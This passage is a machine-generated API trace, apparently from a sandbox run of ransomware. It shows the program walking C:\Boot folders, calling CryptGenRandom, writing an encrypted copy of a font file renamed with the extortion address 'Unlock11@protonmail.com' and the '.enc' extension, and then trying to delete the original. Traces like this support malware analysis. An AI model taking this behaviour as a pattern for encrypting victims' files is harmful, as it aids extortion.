hHeap=0x2ad0000) returned 1 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] GetLastError () returned 0x0 [0117.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0117.304] GetLastError () returned 0x0 [0117.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.304] GetLastError () returned 0x0 [0117.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.305] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3)) returned 1 [0117.305] GetLastError () returned 0x0 [0117.305] GetLastError () returned 0x0 [0117.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.305] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bec | out: pbBuffer=0x3668bec) returned 1 [0117.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0117.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0117.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0117.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.306] GetLastError () returned 0x0 [0117.307] GetLastError () returned 0x0 [0117.307] GetLastError () returned 0x0 [0117.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0117.307] GetLastError () returned 0x0 [0117.307] GetLastError () returned 0x0 [0117.307] GetLastError () returned 0x0 [0117.307] GetLastError () returned 0x0 [0117.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265408 [0117.308] GetLastError () returned 0x0 [0117.308] CreateFileA (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.308] GetFileType (hFile=0x39c) returned 0x1 [0117.308] GetLastError () returned 0x0 [0117.308] GetLastError () returned 0x0 [0117.308] GetFileType (hFile=0x39c) returned 0x1 [0117.308] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.308] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.309] GetLastError () returned 0x0 [0117.309] GetCurrentThreadId () returned 0x9b0 [0117.309] GetLastError () returned 0x0 [0117.309] CreateFileA (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.310] GetFileType (hFile=0x3ac) returned 0x1 [0117.310] GetCurrentThreadId () returned 0x9b0 [0117.310] GetLastError () returned 0x0 [0117.310] GetFileType (hFile=0x3ac) returned 0x1 [0117.310] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.310] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.310] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.311] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.311] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.311] GetCurrentThreadId () returned 0x9b0 [0117.311] GetLastError () returned 0x0 [0117.311] GetCurrentThreadId () returned 0x9b0 [0117.311] GetLastError () returned 0x0 [0117.311] GetCurrentThreadId () returned 0x9b0 [0117.311] GetLastError () returned 0x0 [0117.313] GetCurrentThreadId () returned 0x9b0 [0117.313] GetLastError () returned 0x0 [0117.313] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xbfd8) returned 0x35c5908 [0117.313] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xbfe5) returned 0x35c5908 [0117.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0117.313] GetCurrentThreadId () returned 0x9b0 [0117.314] GetCurrentThreadId () returned 0x9b0 [0117.314] GetLastError () returned 0x0 [0117.315] GetCurrentThreadId () returned 0x9b0 [0117.315] GetLastError () returned 0x0 [0117.315] GetCurrentThreadId () returned 0x9b0 [0117.315] GetLastError () returned 0x0 [0117.316] CloseHandle (hObject=0x3ac) returned 1 [0117.316] GetCurrentThreadId () returned 0x9b0 [0117.316] GetLastError () returned 0x0 [0117.316] CloseHandle (hObject=0x39c) returned 1 [0117.316] GetCurrentThreadId () returned 0x9b0 [0117.316] GetLastError () returned 0x0 [0117.316] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0 [0117.316] GetLastError () returned 0x5 [0117.317] GetCurrentThreadId () returned 0x9b0 [0117.317] GetLastError () returned 0x5 [0117.317] GetLastError () returned 0x5 [0117.317] GetLastError () returned 0x5 [0117.317] GetLastError () returned 0x5 [0117.317] LocalFree (hMem=0x1053c70) returned 0x0 [0117.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0117.317] GetCurrentThreadId () returned 0x9b0 [0117.317] GetLastError () returned 0x5 [0117.317] GetLastError () returned 0x5 [0117.317] GetLastError () returned 0x5 [0117.318] GetLastError () returned 0x5 [0117.318] FindFirstFileA (in: lpFileName="C:\\Boot\\fr-CA\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0117.318] GetLastError () returned 0x5 [0117.318] GetCurrentThreadId () returned 0x9b0 [0117.318] GetLastError () returned 0x5 [0117.318] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.318] GetLastError () returned 0x5 [0117.318] GetCurrentThreadId () returned 0x9b0 [0117.318] GetLastError () returned 0x5 [0117.318] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.319] GetLastError () returned 0x5 [0117.319] GetCurrentThreadId () returned 0x9b0 [0117.319] GetLastError () returned 0x5 [0117.319] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.319] GetLastError () returned 0x12 [0117.319] GetCurrentThreadId () returned 0x9b0 [0117.319] GetLastError () returned 0x12 [0117.319] GetLastError () returned 0x12 [0117.319] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0117.319] GetLastError () returned 0x12 [0117.319] GetLastError () returned 0x12 [0117.319] GetLastError () returned 0x12 [0117.320] GetLastError () returned 0x12 [0117.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0117.320] GetFileAttributesA (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0117.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0117.320] GetCurrentThreadId () returned 0x9b0 [0117.320] GetLastError () returned 0x12 [0117.320] GetLastError () returned 0x12 [0117.321] GetLastError () returned 0x12 [0117.321] GetLastError () returned 0x12 [0117.321] GetFullPathNameA (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\fr-CA\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.321] GetCurrentThreadId () returned 0x9b0 [0117.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.321] GetLastError () returned 0x12 [0117.321] GetLastError () returned 0x12 [0117.321] GetLastError () returned 0x12 [0117.322] GetLastError () returned 0x12 [0117.322] FindFirstFileA (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0117.322] GetLastError () returned 0x12 [0117.322] GetCurrentThreadId () returned 0x9b0 [0117.322] GetLastError () returned 0x12 [0117.322] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.322] GetLastError () returned 0x12 [0117.322] GetCurrentThreadId () returned 0x9b0 [0117.322] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.323] GetCurrentThreadId () returned 0x9b0 [0117.323] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.323] GetCurrentThreadId () returned 0x9b0 [0117.323] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.323] GetCurrentThreadId () returned 0x9b0 [0117.323] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0117.323] GetCurrentThreadId () returned 0x9b0 [0117.323] GetFileAttributesA (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0117.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0117.324] GetFileAttributesA (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0117.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.324] GetCurrentThreadId () returned 0x9b0 [0117.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.324] GetFullPathNameA (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.324] GetCurrentThreadId () returned 0x9b0 [0117.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.325] GetFullPathNameA (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\fr-FR\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.325] GetCurrentThreadId () returned 0x9b0 [0117.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.325] GetCurrentThreadId () returned 0x9b0 [0117.325] FindFirstFileA (in: lpFileName="C:\\Boot\\hr-HR\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0117.326] GetCurrentThreadId () returned 0x9b0 [0117.326] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.326] GetCurrentThreadId () returned 0x9b0 [0117.326] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.326] GetCurrentThreadId () returned 0x9b0 [0117.326] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.326] GetCurrentThreadId () returned 0x9b0 [0117.326] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0117.327] GetFileAttributesA (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0117.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0117.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.327] GetCurrentThreadId () returned 0x9b0 [0117.327] GetFullPathNameA (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\hr-HR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.327] GetCurrentThreadId () returned 0x9b0 [0117.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.328] FindFirstFileA (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0117.328] GetCurrentThreadId () returned 0x9b0 [0117.328] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.329] GetCurrentThreadId () returned 0x9b0 [0117.329] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.329] GetCurrentThreadId () returned 0x9b0 [0117.329] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.329] GetCurrentThreadId () returned 0x9b0 [0117.329] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.329] 